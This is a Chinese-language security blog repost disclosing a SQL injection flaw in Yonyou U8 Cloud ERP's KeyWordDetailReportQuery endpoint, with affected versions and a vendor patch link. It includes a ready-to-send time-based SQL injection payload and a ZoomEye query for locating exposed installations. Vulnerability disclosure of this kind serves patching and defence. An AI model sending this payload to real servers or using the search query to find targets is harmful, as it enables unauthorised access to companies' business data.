(1day)用友U8 cloud KeyWordDetailReportQuery SQL注入漏洞

admin 2024年1月9日12:46:05评论31 views字数 582阅读1分56秒阅读模式
 

漏洞详情

01

用友U8 Cloud 提供企业级云ERP整体解决方案,全面支持多组织业务协同,实现企业互联网资源连接。U8 Cloud 亦是亚大地区成长型企业最广泛采用的云解决方案。
 

影响版本

02

U8 cloud 2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp 

(1day)用友U8 cloud KeyWordDetailReportQuery SQL注入漏洞

 

 

漏洞复现

03

payload

POST /servlet/~iufo/nc.itf.iufo.mobilereport.data.KeyWordDetailReportQuery  HTTP/1.1
{"reportType":"';WAITFOR DELAY '0:0:5'--","usercode":"18701014496","keyword":[{"keywordPk":"1","keywordValue":"1","keywordIndex":1}]}

(1day)用友U8 cloud KeyWordDetailReportQuery SQL注入漏洞

 

ZoomEye语法

 

04

app:"用友-U8-Cloud"

(1day)用友U8 cloud KeyWordDetailReportQuery SQL注入漏洞

 

修复建议

05

安全补丁
https://security.yonyou.com/#/patchInfo?identifier=f3fd4862ca2f45b3803ac48df08ace98

原文始发于微信公众号(棉花糖网络安全圈):(1day)用友U8 cloud KeyWordDetailReportQuery SQL注入漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月9日12:46:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   (1day)用友U8 cloud KeyWordDetailReportQuery SQL注入漏洞http://cn-sec.com/archives/2346667.html

发表评论

匿名网友 填写信息